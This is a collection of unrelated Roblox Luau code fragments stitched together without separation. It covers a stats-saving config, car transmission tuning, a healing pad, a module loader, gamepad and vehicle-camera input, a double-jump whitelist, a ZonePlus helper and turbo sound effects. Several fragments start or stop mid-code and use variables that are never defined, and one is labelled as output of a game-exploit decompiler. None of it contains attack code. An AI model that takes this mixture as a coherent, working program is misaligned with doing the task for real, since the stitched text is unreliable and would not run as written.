-- gameStats = { --[[ <-- Player can save his stats on command ]] ["DoChat?"] = { ["DoIt?"] = true; ["Keywords"] = { "/save"; "/ save"; ":save"; ": save" } }; ["DoMessages?"] = false; --[[ <-- Reminder of saving/loading ]] ["IsAnObby?"] = false; --[[ <-- Respawns the character to fix loading ]] saveType = { ["Normal?"] = true; --[[ <-- Set to false if other ]] ["SavingList?"] = { --[[ <-- Specific wanted admins ]] ["DoIt?"] = false; theList = { "Name1"; "Name2"; "Name3" } }; ["BestFriends?"] = false; --[[ <-- Best friends of your's only. ]] ["Friends?"] = false; --[[ <-- Friends of your's only. ]] ["OwnerOnly?"] = false; --[[ <-- Only you have saving stats ]] ["Gamepass?"] = { --[[ <-- Needs a gamepass to save ]] ["DoIt?"] = false; ["GamepassId"] = 000000 }; ["Asset/Item?"] = { --[[ Such as a T-Shirt ]] ["DoIt?"] = false; ["AssetId"] = 000000 } }; }
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 4.00 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 4.00 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 7.00 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 6.00 , --[[ 3 ]] 5.00 , --[[ 4 ]] 4.00 , --[[ 5 ]] 3.00 , --[[ 6 ]] 2.00 , --[[ 7 ]] 1.00 } Tune.FDMult = 10 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--------------------------------------------------------------------------------
HealPart.Touched:Connect(function(HitPart) local Player = Players:GetPlayerFromCharacter(HitPart.Parent) local Humanoid = HitPart.Parent:FindFirstChild("Humanoid") if Player and Humanoid then local Magnitude = (HitPart.Parent:GetPivot().Position - HealPart.Position).Magnitude if Magnitude < 100 then -- The client can move this with them on the client-side, and touch events will still pass. Just makes it a tiny bit more tedious, cause then they'd have to TP :3 if Cooldown[Player] then return end Cooldown[Player] = true Humanoid.Health = Humanoid.MaxHealth Fountain.Healed:FireClient(Player, workspace:GetServerTimeNow()) task.wait(Timer) Cooldown[Player] = nil end end end)
--local part,pos,norm,mat = workspace:FindPartOnRay(ray,shelly) --shelly:MoveTo(Vector3.new(shelly.PrimaryPart.Position.X,pos.Y+2.25,shelly.PrimaryPart.Position.Z)) --bp.Position = Vector3.new(bp.Position.X,pos.Y+2.25,bp.Position.Z)
until (shelly.PrimaryPart.Position-goal).magnitude < 10 or tick()-start >15
--Script by UnActivatedWindows10 (nullerror404deleted) --Have fun using this!
--p.Ground(part"because cframe and position", zone size, size of part, number how many part spawn, time delay and remove)
--[[ Keyboard Character Control - This module handles controlling your avatar from a keyboard 2018 PlayerScripts Update - AllYourBlox --]]
--[=[ @private @class StaticLegacyLoader ]=]
local loader = script.Parent local ScriptInfoUtils = require(script.Parent.ScriptInfoUtils) local LoaderUtils = require(script.Parent.LoaderUtils) local BounceTemplateUtils = require(script.Parent.BounceTemplateUtils) local StaticLegacyLoader = {} StaticLegacyLoader.ClassName = "StaticLegacyLoader" StaticLegacyLoader.__index = StaticLegacyLoader function StaticLegacyLoader.new() local self = setmetatable({ _packageLookups = {}; }, StaticLegacyLoader) return self end function StaticLegacyLoader:__call(value) return self:Require(value) end function StaticLegacyLoader:Lock() error("Cannot start loader while not running") end function StaticLegacyLoader:Require(root, value) if type(value) == "number" then return require(value) elseif type(value) == "string" then -- use very slow module recovery mechanism local module = self:_findModule(root, value) if module then self:_ensureFakeLoader(module) return require(module) else error("Error: Library '" .. tostring(value) .. "' does not exist.", 2) end elseif typeof(value) == "Instance" and value:IsA("ModuleScript") then return require(value) else error(("Error: module must be a string or ModuleScript, got '%s' for '%s'") :format(typeof(value), tostring(value))) end end function StaticLegacyLoader:_findModule(root, name) assert(typeof(root) == "Instance", "Bad root") assert(type(name) == "string", "Bad name") -- Implement the node_modules recursive find algorithm local packageRoot = self:_findPackageRoot(root) while packageRoot do -- Build lookup local highLevelLookup = self:_getOrCreateLookup(packageRoot) if highLevelLookup[name] then return highLevelLookup[name] end -- Ok, search our package dependencies local dependencies = packageRoot:FindFirstChild(ScriptInfoUtils.DEPENDENCY_FOLDER_NAME) if dependencies then for _, instance in pairs(dependencies:GetChildren()) do if instance:IsA("Folder") and instance.Name:sub(1, 1) == "@" then for _, child in pairs(instance:GetChildren()) do local lookup = self:_getPackageFolderLookup(child) if lookup[name] then return lookup[name] end end else local lookup = self:_getPackageFolderLookup(instance) if lookup[name] then return lookup[name] end end end end -- We failed to find anything... search up a level... packageRoot = self:_findPackageRoot(packageRoot) end return nil end function StaticLegacyLoader:GetLoader(moduleScript) assert(typeof(moduleScript) == "Instance", "Bad moduleScript") return setmetatable({}, { __call = function(_self, value) return self:Require(moduleScript, value) end; __index = function(_self, key) return self:Require(moduleScript, key) end; }) end function StaticLegacyLoader:_getPackageFolderLookup(instance) if instance:IsA("ObjectValue") then if instance.Value then return self:_getOrCreateLookup(instance.Value) else warn("[StaticLegacyLoader] - Bad link in packageFolder") return {} end elseif instance:IsA("Folder") then return self:_getOrCreateLookup(instance) elseif instance:IsA("ModuleScript") then return self:_getOrCreateLookup(instance) else warn(("Unknown instance %q (%s) in dependencyFolder - %q") :format(instance.Name, instance.ClassName, instance:GetFullName())) return {} end end function StaticLegacyLoader:_getOrCreateLookup(packageFolderOrModuleScript) assert(typeof(packageFolderOrModuleScript) == "Instance", "Bad packageFolderOrModuleScript") if self._packageLookups[packageFolderOrModuleScript] then return self._packageLookups[packageFolderOrModuleScript] end local lookup = {} self:_buildLookup(lookup, packageFolderOrModuleScript) self._packageLookups[packageFolderOrModuleScript] = lookup return lookup end function StaticLegacyLoader:_buildLookup(lookup, instance) if instance:IsA("Folder") then if instance.Name ~= ScriptInfoUtils.DEPENDENCY_FOLDER_NAME then for _, item in pairs(instance:GetChildren()) do self:_buildLookup(lookup, item) end end elseif instance:IsA("ModuleScript") then lookup[instance.Name] = instance end end function StaticLegacyLoader:_findPackageRoot(instance) assert(typeof(instance) == "Instance", "Bad instance") local current = instance.Parent while current and current ~= game do if LoaderUtils.isPackage(current) then return current else current = current.Parent end end return nil end function StaticLegacyLoader:_ensureFakeLoader(module) assert(typeof(module) == "Instance", "Bad module") local parent = module.Parent if not parent then warn("[StaticLegacyLoader] - No parent") return end -- NexusUnitTest -- luacheck: ignore -- selene: allow(undefined_variable) local shouldBeArchivable = Load and true or false -- Already have link local found = parent:FindFirstChild("loader") if found then if BounceTemplateUtils.isBounceTemplate(found) then found.Archivable = shouldBeArchivable end return end local link = BounceTemplateUtils.create(loader, "loader") link.Archivable = shouldBeArchivable link.Parent = parent end return StaticLegacyLoader
--[=[ @param thumbstick Enum.KeyCode @param deadzoneThreshold number? @return Vector2 Gets the position of the given thumbstick. The two thumbstick KeyCodes are `Enum.KeyCode.Thumbstick1` and `Enum.KeyCode.Thumbstick2`. If `deadzoneThreshold` is not included, the `DefaultDeadzone` value is used instead. ```lua local leftThumbstick = gamepad:GetThumbstick(Enum.KeyCode.Thumbstick1) print("Left thumbstick position", leftThumbstick) ``` ]=]
function Gamepad:GetThumbstick(thumbstick: Enum.KeyCode, deadzoneThreshold: number?): Vector2 local pos = self.State[thumbstick].Position local deadzone = deadzoneThreshold or self.DefaultDeadzone return Vector2.new( ApplyDeadzone(pos.X, deadzone), ApplyDeadzone(pos.Y, deadzone) ) end
-- Decompiled with the Synapse X Luau decompiler.
script.Parent.RemoteEvent.OnClientEvent:Connect(function() local v1 = script.Parent.WeightImage:Clone(); v1.Parent = script.Parent; v1:TweenPosition(UDim2.new(0.7, 0, 0.5, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.5, true); v1.Visible = true; game:GetService("Debris"):AddItem(v1, 1); coroutine.resume(coroutine.create(function() for v2 = 1, 15 do game.Players.LocalPlayer.Character.Humanoid.CameraOffset = Vector3.new(math.random(-100, 100) / 1000, math.random(-100, 100) / 1000, math.random(-100, 100) / 1000); wait(); end; game.Players.LocalPlayer.Character.Humanoid.CameraOffset = Vector3.new(0, 0, 0); end)); while wait() do v1.Rotation = v1.Rotation + 10; end; end); game.ReplicatedStorage.Hit.OnClientEvent:Connect(function(p1) script.Parent.Hit.Text = "Hit " .. p1; script.Parent.Hit.Visible = true; workspace.Ding:Play(); for v3 = 1, 10 do script.Parent.Hit.Rotation = 5; wait(0.1); script.Parent.Hit.Rotation = -5; wait(0.1); end; script.Parent.Hit.Rotation = 0; script.Parent.Hit.Visible = false; end);
---Controller
local Controller=false local UserInputService = game:GetService("UserInputService") local LStickX = 0 local RStickX = 0 local RStickY = 0 local RTriggerValue = 0 local LTriggerValue = 0 local ButtonX = 0 local ButtonY = 0 local ButtonL1 = 0 local ButtonR1 = 0 local ButtonR3 = 0 local DPadUp = 0 function DealWithInput(input,IsRobloxFunction) if Controller then if input.KeyCode ==Enum.KeyCode.ButtonX then if input.UserInputState == Enum.UserInputState.Begin then ButtonX=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonX=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonY then if input.UserInputState == Enum.UserInputState.Begin then ButtonY=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonY=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonL1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonL1=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR1=0 end elseif input.KeyCode ==Enum.KeyCode.DPadLeft then if input.UserInputState == Enum.UserInputState.Begin then DPadUp=1 elseif input.UserInputState == Enum.UserInputState.End then DPadUp=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR3=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR3=0 end end if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads if input.KeyCode == Enum.KeyCode.Thumbstick1 then LStickX = input.Position.X elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then RStickX = input.Position.X RStickY = input.Position.Y elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder RTriggerValue = input.Position.Z elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder LTriggerValue = input.Position.Z end end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too UserInputService.InputEnded:connect(DealWithInput) car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then for i,v in pairs(Binded) do run:UnbindFromRenderStep(v) end workspace.CurrentCamera.CameraType=Enum.CameraType.Custom workspace.CurrentCamera.FieldOfView=70 player.CameraMaxZoomDistance=200 end end) function Camera() local cam=workspace.CurrentCamera local intcam=false local CRot=0 local CBack=0 local CUp=0 local mode=0 local look=0 local camChange = 0 local function CamUpdate() if not pcall (function() if camChange==0 and DPadUp==1 then intcam = not intcam end camChange=DPadUp if mode==1 then if math.abs(RStickX)>.1 then local sPos=1 if RStickX<0 then sPos=-1 end if intcam then CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80 else CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90 end else CRot=0 end if math.abs(RStickY)>.1 then local sPos=1 if RStickY<0 then sPos=-1 end if intcam then CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30 else CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30) end else CUp=0 end else if CRot>look then CRot=math.max(look,CRot-20) elseif CRot<look then CRot=math.min(look,CRot+20) end CUp=0 end if intcam then CBack=0 else CBack=-180*ButtonR3 end if intcam then cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Scriptable cam.FieldOfView=70 + car.DriveSeat.Velocity.Magnitude/40 player.CameraMaxZoomDistance=5 local cf=car.Body.Cam.CFrame if ButtonR3==1 then cf=car.Body.RCam.CFrame end cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0) else cam.CameraSubject=car.DriveSeat cam.FieldOfView=70 if mode==0 then cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") else cam.CameraType = "Scriptable" local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500) local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed) cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position) end end end) then cam.FieldOfView=70 cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") end end local function ModeChange() if GMode~=mode then mode=GMode run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end mouse.KeyDown:connect(function(key) if key=="z" then look=50 elseif key=="x" then if intcam then look=-160 else look=-180 end elseif key=="c" then look=-50 elseif key=="v" then run:UnbindFromRenderStep("CamUpdate") intcam=not intcam run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end) mouse.KeyUp:connect(function(key) if key=="z" and look==50 then look=0 elseif key=="x" and (look==-160 or look==-180) then look=0 elseif key=="c" and look==-50 then look=0 end end) run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange) table.insert(Binded,"CamUpdate") table.insert(Binded,"CMChange") end Camera() mouse.KeyDown:connect(function(key) if key=="b" then if GMode>=1 then GMode=0 else GMode=GMode+1 end if GMode==1 then Controller=true else Controller=false end end end)
--//White List
local settings = require(module) game.Players.PlayerAdded:Connect(function(player) local canUse = true if #settings.WhiteList > 0 then --There is a whitelist canUse = false for _,id in pairs(settings.WhiteList) do if id == player.UserId then canUse = true break end end end --Give player the local script if canUse then player.CharacterAdded:Connect(function(char) script["DoubleJump - Local"]:Clone().Parent = char end) if player.Character then script["DoubleJump - Local"]:Clone().Parent = player.Character end end end)
-- This module enables you to place Zone wherever you like within the data model while -- still enabling third-party applications (such as HDAdmin/Nanoblox) to locate it -- This is necessary to prevent two ZonePlus applications initiating at runtime which would -- diminish it's overall efficiency
local replicatedStorage = game:GetService("ReplicatedStorage") local ZonePlusReference = {} function ZonePlusReference.addToReplicatedStorage() local existingItem = replicatedStorage:FindFirstChild(script.Name) if existingItem then return false end local objectValue = Instance.new("ObjectValue") objectValue.Name = script.Name objectValue.Value = script.Parent objectValue.Parent = replicatedStorage local locationValue = Instance.new("BoolValue") locationValue.Name = (game:GetService("RunService"):IsClient() and "Client") or "Server" locationValue.Value = true locationValue.Parent = objectValue return objectValue end function ZonePlusReference.getObject() local objectValue = replicatedStorage:FindFirstChild(script.Name) if objectValue then return objectValue end return false end return ZonePlusReference
--Both
local Loudness = 9 --volume of the boost supplier (not exact volume so you kinda have to experiment with it also) script:WaitForChild("Whistle") script:WaitForChild("Whine") script:WaitForChild("BOV") for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end end end) if not _Tune.Engine then return end handler:FireServer("newSound","Whistle",car.DriveSeat,script.Whistle.SoundId,0,script.Whistle.Volume,true) handler:FireServer("newSound","Whine",car.DriveSeat,script.Whine.SoundId,0,script.Whine.Volume,true) handler:FireServer("newSound","BOV",car.DriveSeat,script.BOV.SoundId,0,script.BOV.Volume,true) handler:FireServer("playSound","Whistle") handler:FireServer("playSound","Whine") car.DriveSeat:WaitForChild("Whistle") car.DriveSeat:WaitForChild("Whine") car.DriveSeat:WaitForChild("BOV") local ticc = tick() local _TCount = 0 if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Super" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end while wait() do local psi = (((script.Parent.Values.Boost.Value)/(_Tune.Boost*_TCount))*2) --(script.Parent.Values.RPM.Value/_Tune.Redline) local WP,WV,BP,BV,HP,HV = 0 BOVact = math.floor(psi*20) if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Double" then WP = (psi) WV = (psi/4)*Loudness BP = (1-(-psi/20))*BOV_Pitch BV = (((-0.5+((psi/2)*BOV_Loudness)))*(1 - script.Parent.Values.Throttle.Value)) if BOVact < BOVact2 then if car.DriveSeat.BOV.IsPaused then if FE then handler:FireServer("playSound","BOV") else car.DriveSeat.BOV:Play() end end end if BOVact >= BOVact2 then if FE then handler:FireServer("stopSound","BOV") else car.DriveSeat.BOV:Stop() end end elseif _Tune.Aspiration == "Super" then psi = psi/2 HP = (script.Parent.Values.RPM.Value/_Tune.Redline)*Whine_Pitch HV = (psi/4)*Loudness end handler:FireServer("updateSound","Whistle",script.Whistle.SoundId,WP,WV) handler:FireServer("updateSound","Whine",script.Whine.SoundId,HP,HV) handler:FireServer("updateSound","BOV",script.BOV.SoundId,BP,BV) if (tick()-ticc) >= 0.1 then BOVact2 = math.floor(psi*20) ticc = tick() end end